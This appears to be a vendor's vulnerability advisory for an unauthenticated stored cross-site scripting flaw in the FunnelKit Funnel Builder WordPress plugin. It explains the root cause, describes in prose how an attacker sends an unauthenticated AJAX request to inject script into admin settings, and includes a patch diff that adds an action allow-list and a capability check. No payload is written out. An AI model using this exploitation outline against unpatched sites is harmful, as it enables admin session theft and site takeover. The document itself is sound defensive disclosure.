Published : June 21, 2026

CVE-2026-48966: FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.15.0.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.15.0.2
Patched Version 3.15.0.3
Disclosed June 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48966: The FunnelKit Funnel Builder for WooCommerce Checkout plugin (versions up to and including 3.15.0.2) contains an unauthenticated stored cross-site scripting vulnerability. The vulnerability exists in the AJAX handler dispatch logic in class-wfacp-ajax-controller.php. An attacker can inject arbitrary web scripts that execute when a user accesses an injected page.

Root Cause: The vulnerable code is in `/funnel-builder/modules/checkouts/includes/class-wfacp-ajax-controller.php`, specifically in the `may_be_execute_action` method. The original code at lines 59-62 performed a dynamic method call using `method_exists(__CLASS__, $action)` without validating the action against a whitelist. The parameter `$action` comes from `$bump_action_data[‘action’]` which originates from `$_POST[‘action’]` in the AJAX request. An attacker could provide arbitrary method names that exist in the `WFACP_Ajax_Controller` class, bypassing the expected action flow. While the immediate risk is limited to methods within the same class, the patch reveals a deliberate security hardening against potential future dangerous methods or unintended side effects from existing methods.

Exploitation: An unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to any method name existing in `WFACP_Ajax_Controller` class. The `wfacp_nonce` check is also missing for the `update_global_settings_fields` action in the vulnerable code path. The attacker does not need authentication because the AJAX handler does not properly verify user capabilities before executing actions. Specific exploitable actions include `update_global_settings_fields` which, in the vulnerable version, had no capability check. An attacker could inject malicious HTML/JavaScript into settings fields that are later rendered in the admin dashboard.

Patch Analysis: The patch introduces three key changes. First, a whitelist called `$allowed_actions` was added containing only the specific actions that should be executable: `update_cart_item_quantity`, `update_cart_multiple_page`, `remove_cart_item`, `undo_cart_item`, and `prep_fees`. Second, a capability check `current_user_can(‘manage_woocommerce’)` was added to `update_global_settings_fields` to prevent unauthenticated access. Third, the method call now requires the action to be in the `$allowed_actions` array AND exist as a class method, preventing arbitrary method invocation.

Impact: A successful attack allows an unauthenticated attacker to inject arbitrary JavaScript or HTML into the WordPress admin area. This stored XSS can execute when an administrator visits the affected page, leading to session hijacking, sensitive data theft, or complete site compromise. The CVSS score of 7.2 reflects the high severity due to the lack of authentication requirement and the ability to target administrative users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/funnel-builder/admin/class-wffn-admin.php
+++ b/funnel-builder/admin/class-wffn-admin.php
@@ -822,7 +822,7 @@
 				wp_enqueue_style( 'wffn-flex-admin', $this->get_admin_url() . '/assets/css/admin.css', array(), WFFN_VERSION_DEV );

 				if ( WFFN_Core()->admin->is_wffn_flex_page() ) {
-					$this->load_react_app( 'main-20260423144444' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
+					$this->load_react_app( 'main-20260513095732' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
 					if ( isset( $_GET['page'] ) && $_GET['page'] === 'bwf' && method_exists( 'BWF_Admin_General_Settings', 'get_localized_bwf_data' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 						wp_localize_script( 'wffn-contact-admin', 'bwfAdminGen', BWF_Admin_General_Settings::get_instance()->get_localized_bwf_data() );

@@ -1923,7 +1923,7 @@

 				if ( empty( $post_type ) && ! empty( $page_id ) ) {
 					$t_post = get_post( $page_id );
-					if ( in_array( $t_post->post_type, array( WFFN_Core()->landing_pages->get_post_type_slug(), WFOPP_Core()->optin_pages->get_post_type_slug() ), true ) ) {
+					if ( $t_post instanceof WP_Post && in_array( $t_post->post_type, array( WFFN_Core()->landing_pages->get_post_type_slug(), WFOPP_Core()->optin_pages->get_post_type_slug() ), true ) ) {
 						$query->set( 'post_type', get_post_type( $page_id ) );
 					}
 				}
--- a/funnel-builder/admin/views/contact/dist/main-20260423144444.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20260423144444.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'c343bee2b9c2ffd1a8a5073adf38798f');
 No newline at end of file
--- a/funnel-builder/admin/views/contact/dist/main-20260513095732.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20260513095732.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => '5d0c42a9017233f0ceba7bec8ca36ccd');
 No newline at end of file
--- a/funnel-builder/funnel-builder.php
+++ b/funnel-builder/funnel-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: FunnelKit Funnel Builder
  * Plugin URI: https://funnelkit.com/wordpress-funnel-builder/
  * Description: Create high-converting sales funnels on WordPress that look professional by following a well-guided step-by-step process.
- * Version: 3.15.0.2
+ * Version: 3.15.0.3
  * Author: FunnelKit
  * Author URI: https://funnelkit.com
  * License: GPLv3 or later
@@ -150,7 +150,7 @@
 		 */
 		public function define_plugin_properties() {

-			define( 'WFFN_VERSION', '3.15.0.2' );
+			define( 'WFFN_VERSION', '3.15.0.3' );
 			define( 'WFFN_BWF_VERSION', '1.10.12.78' );

 			define( 'WFFN_MIN_WC_VERSION', '3.5.0' );
--- a/funnel-builder/importer/class-wffn-divi-importer.php
+++ b/funnel-builder/importer/class-wffn-divi-importer.php
@@ -107,227 +107,6 @@
 			}
 		}

-		public function maybe_paginate_images( $images, $method, $timestamp ) {
-
-			if ( ! function_exists( 'et_core_portability_load' ) ) {
-				return $images;
-			}
-			et_core_nonce_verified_previously();
-
-			$page   = isset( $_POST['page'] ) ? (int) $_POST['page'] : 1; //phpcs:ignore WordPress.Security.NonceVerification.Missing, FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck
-			$result = $this->chunk_images( $images, $method, $timestamp, max( $page - 1, 0 ) );
-
-			if ( ! $result['ready'] ) {
-				wp_send_json(
-					array(
-						'page'        => $page,
-						'total_pages' => $result['chunks'],
-						'timestamp'   => $timestamp,
-					)
-				);
-			}
-
-			return $result['images'];
-		}
-
-		/**
-		 * Serialize images in chunks.
-		 *
-		 * @param array   $images
-		 * @param string  $method Method applied on images.
-		 * @param string  $id Unique ID to use for temporary files.
-		 * @param integer $chunk
-		 *
-		 * @return array
-		 * @since 4.0
-		 */
-		protected function chunk_images( $images, $method, $id, $chunk = 0 ) {
-			$images_per_chunk = 100;
-			$chunks           = 1;
-
-			/**
-			 * Filters whether or not images in the file being imported should be paginated.
-			 *
-			 * @param bool $paginate_images Default `true`.
-			 *
-			 * @since 3.0.99
-			 */
-			$paginate_images = apply_filters( 'et_core_portability_paginate_images', true );
-			$et_obj          = et_core_portability_load( 'et_builder' );
-
-			if ( $paginate_images && count( $images ) > $images_per_chunk ) {
-				$chunks       = ceil( count( $images ) / $images_per_chunk );
-				$slice        = $images_per_chunk * $chunk;
-				$images       = array_slice( $images, $slice, $images_per_chunk );
-				$images       = $et_obj->$method( $images );
-				$filesystem   = $this->get_filesystem();
-				$temp_file_id = sanitize_file_name( "images_{$id}" );
-				$temp_file    = $et_obj->temp_file( $temp_file_id, 'et_core_export' );
-				$temp_images  = json_decode( $filesystem->get_contents( $temp_file ), true );
-
-				if ( is_array( $temp_images ) ) {
-					$images = array_merge( $temp_images, $images );
-				}
-
-				if ( $chunk + 1 < $chunks ) {
-					$filesystem->put_contents( $temp_file, wp_json_encode( (array) $images ) );
-				} else {
-					$et_obj->delete_temp_files( 'et_core_export', array( $temp_file_id => $temp_file ) );
-				}
-			} else {
-				$images = $this->$method( $images );
-			}
-
-			return array(
-				'ready'  => $chunk + 1 >= $chunks,
-				'chunks' => $chunks,
-				'images' => $images,
-			);
-		}
-
-		/**
-		 * Decode base64 formatted image and upload it to WP media.
-		 *
-		 * @param array $images Array of encoded images which needs to be uploaded.
-		 *
-		 * @return array
-		 * @since 2.7.0
-		 */
-		protected function upload_images( $images ) {
-			$filesystem = $this->set_filesystem();
-
-			foreach ( $images as $key => $image ) {
-				$basename    = sanitize_file_name( wp_basename( $image['url'] ) );
-				$attachments = get_posts(
-					array( //phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.get_posts_get_posts
-					'posts_per_page' => - 1,
-					'post_type'      => 'attachment',
-					'meta_key'       => '_wp_attached_file',
-					'meta_value'     => pathinfo( $basename, PATHINFO_FILENAME ),
-					'meta_compare'   => 'LIKE',
-					)
-				);
-				$id          = 0;
-				$url         = '';
-
-				// Avoid duplicates.
-				if ( ! is_wp_error( $attachments ) && ! empty( $attachments ) ) {
-					foreach ( $attachments as $attachment ) {
-						$attachment_url = wp_get_attachment_url( $attachment->ID );
-						$file           = get_attached_file( $attachment->ID );
-						$filename       = sanitize_file_name( wp_basename( $file ) );
-
-						// Use existing image only if the content matches.
-						if ( $filesystem->get_contents( $file ) === base64_decode( $image['encoded'] ) ) {
-							$id  = isset( $image['id'] ) ? $attachment->ID : 0;
-							$url = $attachment_url;
-
-							break;
-						}
-					}
-				}
-
-				// Create new image.
-				if ( empty( $url ) ) {
-					$temp_file = wp_tempnam();
-					$filesystem->put_contents( $temp_file, base64_decode( $image['encoded'] ) );
-					$filetype = wp_check_filetype_and_ext( $temp_file, $basename );
-
-					// Avoid further duplicates if the proper_file name match an existing image.
-					if ( isset( $filetype['proper_filename'] ) && $filetype['proper_filename'] !== $basename ) {
-						if ( isset( $filename ) && $filename === $filetype['proper_filename'] ) {
-							// Use existing image only if the basename and content match.
-							if ( $filesystem->get_contents( $file ) === $filesystem->get_contents( $temp_file ) ) {
-								$filesystem->delete( $temp_file );
-								continue;
-							}
-						}
-					}
-
-					$file   = array(
-						'name'     => $basename,
-						'tmp_name' => $temp_file,
-					);
-					$upload = media_handle_sideload( $file, 0 );
-
-					if ( ! is_wp_error( $upload ) ) {
-						// Set the replacement as an id if the original image was set as an id (for gallery).
-						$id  = isset( $image['id'] ) ? $upload : 0;
-						$url = wp_get_attachment_url( $upload );
-					} else {
-						// Make sure the temporary file is removed if media_handle_sideload didn't take care of it.
-						$filesystem->delete( $temp_file );
-					}
-				}
-
-				// Only declare the replace if a url is set.
-				if ( $id > 0 ) {
-					$images[ $key ]['replacement_id'] = $id;
-				}
-
-				if ( ! empty( $url ) ) {
-					$images[ $key ]['replacement_url'] = $url;
-				}
-
-				unset( $url );
-			}
-
-			return $images;
-		}
-
-		/**
-		 * Replace image urls with newly uploaded images.
-		 *
-		 * @param array $images Array of new images uploaded.
-		 * @param array $data Array of for which images url needs to be replaced.
-		 *
-		 * @return array|mixed|object
-		 * @since 2.7.0
-		 */
-		protected function replace_images_urls( $images, $data ) {
-			foreach ( $data as $post_id => &$post_data ) {
-				foreach ( $images as $image ) {
-					if ( is_array( $post_data ) ) {
-						foreach ( $post_data as $post_param => &$param_value ) {
-							if ( ! is_array( $param_value ) ) {
-								$data[ $post_id ][ $post_param ] = $this->replace_image_url( $param_value, $image );
-							}
-						}
-						unset( $param_value );
-					} else {
-						$data[ $post_id ] = $this->replace_image_url( $post_data, $image );
-					}
-				}
-			}
-			unset( $post_data );
-
-			return $data;
-		}
-
-		/**
-		 * Replace encoded image url with a real url
-		 *
-		 * @param $subject - The string to perform replacing for
-		 * @param array $image - The image settings
-		 *
-		 * @return string|string[]|null
-		 */
-		protected function replace_image_url( $subject, $image ) {
-			if ( isset( $image['replacement_id'] ) && isset( $image['id'] ) ) {
-				$search      = $image['id'];
-				$replacement = $image['replacement_id'];
-				$subject     = preg_replace( "/(gallery_ids=.*){$search}(.*")/", "${1}{$replacement}${2}", $subject );
-			}
-
-			if ( isset( $image['url'] ) && isset( $image['replacement_url'] ) && $image['url'] !== $image['replacement_url'] ) {
-				$search      = $image['url'];
-				$replacement = $image['replacement_url'];
-				$subject     = str_replace( $search, $replacement, $subject );
-			}
-
-			return $subject;
-		}
-
 		public function export( $module_id, $slug ) { //phpcs:ignore
 			$post = get_post( $module_id );

--- a/funnel-builder/includes/usage/class-wffn-feature.php
+++ b/funnel-builder/includes/usage/class-wffn-feature.php
@@ -150,47 +150,6 @@
 			);
 		}

-		/**
-		 * Get published post IDs from a list of post IDs using a single SQL query
-		 * OPTIMIZATION: Avoids individual get_post() calls that trigger full post object loading
-		 * NOTE: This method is kept for backward compatibility but get_post_type_data() is preferred
-		 *
-		 * @param array  $post_ids Array of post IDs
-		 * @param string $post_type Post type (for validation)
-		 *
-		 * @return array Array of published post IDs
-		 */
-		private function get_published_post_ids( $post_ids, $post_type = '' ) {
-			if ( empty( $post_ids ) ) {
-				return array();
-			}
-
-			global $wpdb;
-
-			$post_ids        = array_map( 'intval', $post_ids );
-			$post_ids        = array_unique( $post_ids );
-			$ids_placeholder = implode( ',', array_fill( 0, count( $post_ids ), '%d' ) );
-
-			$where_clause = "ID IN ($ids_placeholder) AND post_status = 'publish'";
-			$prepare_args = $post_ids;
-
-			if ( ! empty( $post_type ) ) {
-				$where_clause  .= ' AND post_type = %s';
-				$prepare_args[] = $post_type;
-			}
-
-			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
-			// $where_clause contains properly sanitized placeholders built with array_fill()
-			$query = $wpdb->prepare(
-				"SELECT ID FROM {$wpdb->posts} WHERE $where_clause",
-				$prepare_args
-			);
-			// phpcs:enable
-
-			$results = $wpdb->get_col( $query ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
-
-			return array_map( 'intval', $results );
-		}

 		/**
 		 * Collect feature adoption data
--- a/funnel-builder/modules/checkouts/builder/elementor/widgets/class-elementor-form.php
+++ b/funnel-builder/modules/checkouts/builder/elementor/widgets/class-elementor-form.php
@@ -1221,38 +1221,6 @@
 			$this->end_tab();
 		}

-		private function set_typo_default_value( $fontFamily = '' ) {
-
-			$fields_options = array(
-				'font_size'       => array(
-					'default' => array(
-						'unit' => 'px',
-						'size' => 14,
-					),
-				),
-				'font_weight'     => array(
-					'default' => '500',
-				),
-				'font_style'      => array(
-					'default' => 'normal',
-				),
-				'text_decoration' => array(
-					'default' => 'none',
-				),
-				'text_transform'  => array(
-					'default' => 'none',
-				),
-
-			);
-			if ( ! empty( $fontFamily ) ) {
-				$fields_options['font_family'] = array( 'default' => $fontFamily );
-			}
-
-			$this->typo_default_value = $fields_options;
-
-			return $this->typo_default_value;
-		}
-
 		private function global_typography() {
 			$this->add_tab( __( 'Checkout Form', 'funnel-builder' ), 2 );

--- a/funnel-builder/modules/checkouts/builder/oxygen/class-wfacp-oxy.php
+++ b/funnel-builder/modules/checkouts/builder/oxygen/class-wfacp-oxy.php
@@ -48,10 +48,6 @@
 			add_action( 'oxygen_enqueue_frontend_scripts', array( $this, 'enable_self_page_css' ) );
 		}

-		private function importer() {
-			add_action( 'wp_loaded', array( $this, 'load_oxy_importer' ), 150 );
-		}
-
 		public function load_oxy_importer() {
 			require __DIR__ . '/class-wfacp-oxy-importer.php';
 		}
--- a/funnel-builder/modules/checkouts/includes/class-wfacp-ajax-controller.php
+++ b/funnel-builder/modules/checkouts/includes/class-wfacp-ajax-controller.php
@@ -56,14 +56,22 @@
 			if ( isset( $bump_action_data['data'] ) ) {
 				$input_data = $bump_action_data['data'];
 			}
+			$allowed_actions = array(
+				'update_cart_item_quantity',
+				'update_cart_multiple_page',
+				'remove_cart_item',
+				'undo_cart_item',
+				'prep_fees',
+			);
+
 			if ( 'apply_coupon_field' == $action || 'apply_coupon_main' == $action ) {
 				self::$output_resp = self::apply_coupon( $bump_action_data );
 			} elseif ( 'remove_coupon_field' == $action || 'remove_coupon_main' == $action ) {
 				self::$output_resp = self::remove_coupon( $bump_action_data );
-			} elseif ( method_exists( __CLASS__, $action ) ) {
+			} elseif ( is_string( $action ) && in_array( $action, $allowed_actions, true ) && method_exists( __CLASS__, $action ) ) {
 				self::$output_resp = self::$action( $input_data );
 			}
-			$bump_action_data['wfacp_id'] = isset( $_REQUEST['wfacp_id'] ) ? absint( wp_unslash( $_REQUEST['wfacp_id'] ) ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WooCommerce AJAX handles nonce verification
+			$bump_action_data['wfacp_id'] = isset( $_REQUEST['wfacp_id'] ) ? absint( wp_unslash( $_REQUEST['wfacp_id'] ) ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- WooCommerce AJAX handles nonce verification; public checkout action, no capability check needed

 			self::$bump_action_data        = $action;
 			self::$output_resp['wfacp_id'] = $bump_action_data['wfacp_id'];
@@ -118,15 +126,15 @@
 				'status' => 'false',
 				'msg'    => 'Invalid Call',
 			);
-			if ( isset( $_POST['post_data'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- AJAX nonce verification handled by WordPress AJAX system
+			if ( isset( $_POST['post_data'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- AJAX nonce verification handled by WordPress AJAX system; used inside the nonce check itself
 				$post_data = array();
-				parse_str( wp_unslash( $_POST['post_data'] ), $post_data ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- post_data is URL-encoded string parsed into array, individual values sanitized as used
+				parse_str( wp_unslash( $_POST['post_data'] ), $post_data ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- post_data is URL-encoded string parsed into array, individual values sanitized as used; used inside the nonce check itself
 				if ( ! empty( $post_data ) ) {
 					WFACP_Common::$post_data = $post_data;
 				}
 			}

-			if ( ! isset( $_REQUEST['wfacp_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['wfacp_nonce'] ) ), 'wfacp_secure_key' ) ) {
+			if ( ! isset( $_REQUEST['wfacp_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['wfacp_nonce'] ) ), 'wfacp_secure_key' ) ) { // phpcs:ignore FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- nonce verification IS the security check for this endpoint
 				wp_send_json( $rsp );
 			}
 		}
@@ -151,12 +159,17 @@

 		public static function update_global_settings_fields( $options ) {

-			$options = ( is_array( $options ) && count( $options ) > 0 ) ? wp_unslash( $options ) : 0;
-			$resp    = array(
+			$resp = array(
 				'status' => false,
 				'msg'    => __( 'Changes saved', 'funnel-builder' ),
 			);

+			if ( ! current_user_can( 'manage_woocommerce' ) ) {
+				return $resp;
+			}
+
+			$options = ( is_array( $options ) && count( $options ) > 0 ) ? wp_unslash( $options ) : 0;
+
 			if ( ! is_array( $options ) || count( $options ) === 0 ) {
 				return $resp;
 			}
@@ -238,7 +251,7 @@
 				/* Add the wc Notice */
 				$current_session_order_id = isset( WC()->session->order_awaiting_payment ) ? absint( WC()->session->order_awaiting_payment ) : 0;
 				$held_stock               = wc_get_held_stock_quantity( $product_obj, $current_session_order_id );
-				$resp['error']            = sprintf( __( 'Sorry, we do not have enough "%1$s" in stock to fulfill your order (%2$s available). We apologize for any inconvenience caused.', 'woocommerce' ), $product_obj->get_name(), wc_format_stock_quantity_for_display( $product_obj->get_stock_quantity() - $held_stock, $product_obj ) );
+				$resp['error']            = sprintf( __( 'Sorry, we do not have enough "%1$s" in stock to fulfill your order (%2$s available). We apologize for any inconvenience caused.', 'woocommerce' ), $product_obj->get_name(), wc_format_stock_quantity_for_display( $product_obj->get_stock_quantity() - $held_stock, $product_obj ) ); // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- intentionally using WooCommerce translations for this stock message

 				$resp['qty']      = $cart_item['quantity'];
 				$resp['status']   = false;
@@ -453,11 +466,11 @@
 			do_action( 'wfacp_before_coupon_removed', $bump_action_data );
 			$status = true;
 			if ( empty( $coupon ) ) {
-				$message = __( 'Sorry there was a problem removing this coupon.', 'woocommerce' );
+				$message = __( 'Sorry there was a problem removing this coupon.', 'woocommerce' ); // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- intentionally using WooCommerce translations for this coupon message
 				$status  = false;
 			} else {
 				WC()->cart->remove_coupon( $coupon );
-				$message = __( 'Coupon has been removed.', 'woocommerce' );
+				$message = __( 'Coupon has been removed.', 'woocommerce' ); // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- intentionally using WooCommerce translations for this coupon message
 				do_action( 'wfacp_after_coupon_removed', $bump_action_data );

 			}
@@ -508,11 +521,11 @@
 						// Don't show undo link if removed item is out of stock.
 						if ( $product && $product->is_in_stock() && $product->has_enough_stock( $cart_item['quantity'] ) ) {
 							$item_is_available = true;
-							$removed_notice    = ' ' . ' <a href="javascript:void(0)" class="wfacp_restore_cart_item" data-cart_key="' . $cart_item_key . '">' . __( 'Undo?', 'woocommerce' ) . '</a>';
+							$removed_notice    = ' ' . ' <a href="javascript:void(0)" class="wfacp_restore_cart_item" data-cart_key="' . $cart_item_key . '">' . __( 'Undo?', 'woocommerce' ) . '</a>'; // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- intentionally using WooCommerce translations for this cart message
 						} else {
 							$item_is_available = false;
 							/* Translators: %s Product title. */
-							$removed_notice = sprintf( __( '%s removed.', 'woocommerce' ), '' );
+							$removed_notice = sprintf( __( '%s removed.', 'woocommerce' ), '' ); // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- intentionally using WooCommerce translations for this cart message
 						}
 						$resp['item_is_available'] = $item_is_available;
 						$resp['status']            = true;
@@ -561,7 +574,7 @@
 		public static function get_divi_form_data() {

 			if ( isset( $_REQUEST['wfacp_id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WooCommerce AJAX handles nonce verification
-				$post_id = absint( wp_unslash( $_REQUEST['wfacp_id'] ) );
+				$post_id = absint( wp_unslash( $_REQUEST['wfacp_id'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WooCommerce AJAX handles nonce verification
 				$post    = get_post( $post_id );
 				if ( ! is_null( $post ) && $post->post_type == WFACP_Common::get_post_type_slug() ) {

--- a/funnel-builder/modules/checkouts/includes/class-wfacp-template.php
+++ b/funnel-builder/modules/checkouts/includes/class-wfacp-template.php
@@ -966,32 +966,38 @@
 					}
 				}

-				if ( ! isset( $template_fields['shipping']['shipping_first_name'] ) && true == $billing_first_name ) {
+				if ( ! isset( $template_fields['shipping']['shipping_first_name'] ) && true == $billing_first_name && isset( $template_fields['billing']['billing_first_name'] ) ) {
 					$template_fields['shipping']['shipping_first_name']       = $template_fields['billing']['billing_first_name'];
 					$template_fields['shipping']['shipping_first_name']['id'] = 'shipping_first_name';
 					if ( isset( $template_fields['shipping']['shipping_first_name']['required'] ) ) {
 						unset( $template_fields['shipping']['shipping_first_name']['required'] );
 					}
-					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Public checkout form processing
-					$billing_first_name_value = bwf_clean( wp_unslash( $_POST['billing_first_name'] ) );
 					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
-					$_POST['shipping_first_name'] = $billing_first_name_value;
-					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
-					$_REQUEST['shipping_first_name'] = $billing_first_name_value;
+					if ( isset( $_POST['billing_first_name'] ) ) {
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Public checkout form processing
+						$billing_first_name_value = bwf_clean( wp_unslash( $_POST['billing_first_name'] ) );
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
+						$_POST['shipping_first_name'] = $billing_first_name_value;
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
+						$_REQUEST['shipping_first_name'] = $billing_first_name_value;
+					}
 				}

-				if ( ! isset( $template_fields['shipping']['shipping_last_name'] ) && true == $billing_last_name ) {
+				if ( ! isset( $template_fields['shipping']['shipping_last_name'] ) && true == $billing_last_name && isset( $template_fields['billing']['billing_last_name'] ) ) {
 					$template_fields['shipping']['shipping_last_name'] = $template_fields['billing']['billing_last_name'];
 					if ( isset( $template_fields['shipping']['shipping_last_name']['required'] ) ) {
 						unset( $template_fields['shipping']['shipping_last_name']['required'] );
 					}
 					$template_fields['shipping']['shipping_last_name']['id'] = 'shipping_last_name';
-					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Public checkout form processing
-					$billing_last_name_value = bwf_clean( wp_unslash( $_POST['billing_last_name'] ) );
 					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
-					$_POST['shipping_last_name'] = $billing_last_name_value;
-					// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
-					$_REQUEST['shipping_last_name'] = $billing_last_name_value;
+					if ( isset( $_POST['billing_last_name'] ) ) {
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- Public checkout form processing
+						$billing_last_name_value = bwf_clean( wp_unslash( $_POST['billing_last_name'] ) );
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
+						$_POST['shipping_last_name'] = $billing_last_name_value;
+						// phpcs:ignore WordPress.Security.NonceVerification.Missing,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- Public checkout form processing
+						$_REQUEST['shipping_last_name'] = $billing_last_name_value;
+					}
 				}
 			}

--- a/funnel-builder/modules/optins/modules/optin-pages/compatibilities/page-builders/oxygen/class-wffn-optin-html-block-oxy.php
+++ b/funnel-builder/modules/optins/modules/optin-pages/compatibilities/page-builders/oxygen/class-wffn-optin-html-block-oxy.php
@@ -11,14 +11,14 @@
 if ( ! class_exists( 'WFFN_Optin_HTML_Block_Oxy' ) ) {
 	#[AllowDynamicProperties]

- abstract class WFFN_Optin_HTML_Block_Oxy extends WFFN_OXY_Field {
+	abstract class WFFN_Optin_HTML_Block_Oxy extends WFFN_OXY_Field {

 		protected function html( $settings, $defaults, $content ) {//phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedParameter
 			$settings['button_border_size'] = 0;
 			$wrapper_class                  = '';
 			$show_labels                    = ( isset( $settings['show_labels'] ) && $settings['show_labels'] === 'on' );
 			$input_size                     = isset( $settings['input_size'] ) ? $settings['input_size'] : '12px';
-			$wrapper_class                  .= $show_labels ? '' : ' wfop_hide_label';
+			$wrapper_class                 .= $show_labels ? '' : ' wfop_hide_label';

 			$optinPageId    = WFOPP_Core()->optin_pages->get_optin_id();
 			$optin_fields   = WFOPP_Core()->optin_pages->form_builder->get_optin_layout( $optinPageId );
@@ -35,25 +35,23 @@
 				$custom_form->_output_form( $wrapper_class, $optin_fields, $optinPageId, $optin_settings, 'inline', $settings );
 			}

-			if( isset($_REQUEST['action']) && $_REQUEST['action'] === 'oxy_render_oxy-optin-form') {//phpcs:ignore WordPress.Security.NonceVerification.Recommended
-			?>
-            <script>
-                jQuery(document).trigger('wffn_reload_phone_field');
-            </script>
-			<?php
+			if ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'oxy_render_oxy-optin-form' ) {//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				?>
+			<script>
+				jQuery(document).trigger('wffn_reload_phone_field');
+			</script>
+				<?php

 			}
 			if ( ! empty( $input_size ) ) {
 				?>
-                <style>
-                    .bwfac_forms_outer[data-field-size="small"] .bwfac_form_sec input:not(.wfop_submit_btn) {
+				<style>
+					.bwfac_forms_outer[data-field-size="small"] .bwfac_form_sec input:not(.wfop_submit_btn) {
                         padding: <?php echo $input_size;//phpcs:ignore ?> 15px;
-                    }
-                </style>
+					}
+				</style>
 				<?php
 			}
-
-
 		}


@@ -61,37 +59,35 @@
 			$tab_id = $this->add_tab( __( 'Layout', 'funnel-builder' ) );

 			$optinPageId = WFOPP_Core()->optin_pages->get_id();
-			$get_fields  = [];
